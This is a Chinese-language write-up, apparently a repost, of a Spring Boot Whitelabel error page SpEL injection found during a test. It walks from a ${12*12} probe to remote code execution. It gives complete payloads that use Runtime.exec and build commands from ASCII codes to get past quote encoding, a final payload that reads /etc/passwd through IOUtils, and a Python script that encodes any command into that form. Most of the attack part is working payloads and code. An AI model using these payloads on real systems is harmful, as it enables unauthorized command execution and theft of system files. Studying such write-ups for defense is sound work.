記一次spring表達(dá)式注入

Spring表達(dá)式注入

該漏洞僅影響 Spring Boot 1.2.8之前版本,Spring Boot 1.2.8版本之后已得到修補(bǔ)。

在spring中任何反映用戶輸入的Whitelabel錯(cuò)誤頁(yè)面都將會(huì)容易受到攻擊。這是因?yàn)橛脩舻妮斎氡灰曌鰹镾prings Expression Language(SpEL)。在一次測(cè)試中,我遇到了一個(gè)特殊的URL,該URL觸發(fā)了spring中的Whitelabel Error頁(yè)面表達(dá)式注入。

https://<domain>/BankDetailForm?id=abc${12*12}abc

執(zhí)行結(jié)果:


1.png

spring中的Whitelabel頁(yè)面將輸入的abc${12*12}abc顯示為abc144abc。隨后嘗試執(zhí)行一個(gè)id命令并顯示結(jié)果。嘗試了以下測(cè)試:

https://<domain>/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec('id')}
payload:${T(java.lang.Runtime).getRuntime().exec('id')}

執(zhí)行結(jié)果:

2.png

輸入的表達(dá)式原樣輸出,對(duì)比David的文章(https://secalert.net/#cve-2016-4977),一切都顯示正確,但是我仍然沒(méi)有得到想要的輸出。嘗試了良久之后,我決定本地搭建一個(gè)Springs應(yīng)用程序嘗試創(chuàng)建相同的場(chǎng)景。我嘗試了基本操作,{5*5}并在錯(cuò)誤頁(yè)回顯出25的結(jié)果。然后嘗試執(zhí)行id命令,依舊沒(méi)有執(zhí)行。通過(guò)調(diào)試跟蹤代碼的堆棧信息如下:
3.png

可以清楚的看到包含id命令的單引號(hào)被URL編碼。得出原因之后,大致的解決方式有兩種:

1、通過(guò)在錯(cuò)誤的代碼中查找字符,然后使用substring()將字符串一個(gè)個(gè)截取來(lái)傳遞給exec()方法。

2、通過(guò)找到一種無(wú)需使用雙引號(hào)或單引號(hào)就可以傳遞要執(zhí)行的字符串的方法。

這里我們采用第二種方法。如果我能夠找到可以輸入id參數(shù)的方法,那么cat /etc/passwd也將會(huì)迎刃而解。在Java中支持嵌套函數(shù)的使用。

經(jīng)過(guò)對(duì)一些Java類調(diào)試之后發(fā)現(xiàn)了以下內(nèi)容:

java.lang.Character.toString(105) 
-> prints the characer 'i'

i字符我們已經(jīng)得到,那么接下來(lái)我們通過(guò)同樣的方法合并字符“ d”即可,我們使用concat()方法來(lái)進(jìn)行嵌套d字符,并與i字符合并。

java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-> prints the characters 'id'

最終得到的有效載荷如下:

https://<domain>/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java.
lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}

執(zhí)行結(jié)果如下所示:

4.png

通過(guò)getRuntime()方法執(zhí)行我們傳入的參數(shù),現(xiàn)在,我們已經(jīng)有了一個(gè)回顯型的RCE,可以使用它來(lái)執(zhí)行命令。接下來(lái)嘗試執(zhí)行cat /etc/passwd并將結(jié)果打印到Whitelabel Error頁(yè)面上。這意味著對(duì)于每個(gè)字符都需要通過(guò)ASCII編碼來(lái)進(jìn)行傳遞。每個(gè)字符的傳入格式如下:

concat(T(java.lang.Character).toString(<ascii value>))

由于字符過(guò)多,我們通過(guò)python腳本來(lái)實(shí)現(xiàn)此功能:

#!/usr/bin/env python
from __future__ import print_function
import sys
?
message = raw_input('Enter message to encode:')
?
print('Decoded string (in ASCII):\n')
for ch in message:
 print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), 
print('\n')

要獲取cat /etc/passwd命令的結(jié)果,我們通過(guò)使用IOUtils類調(diào)用toString()方法將輸入流傳遞給此方法,并獲取相應(yīng)結(jié)果。

5.png

最終payload如下:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

綜上所述,通過(guò)Apache IOUtils庫(kù),并將cat /etc/passwd使用字符類轉(zhuǎn)換為ASCII字符,將轉(zhuǎn)換后的字符傳遞給exec()方法執(zhí)行。并獲得輸入流,將其傳遞給toString()IOUtils類的方法解析。

6.png

文章來(lái)源:http://deadpool.sh/2017/RCE-Springs/
轉(zhuǎn)載自合天智匯:https://mp.weixin.qq.com/s/390N710W8DPyyaCUU5-Ohw

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容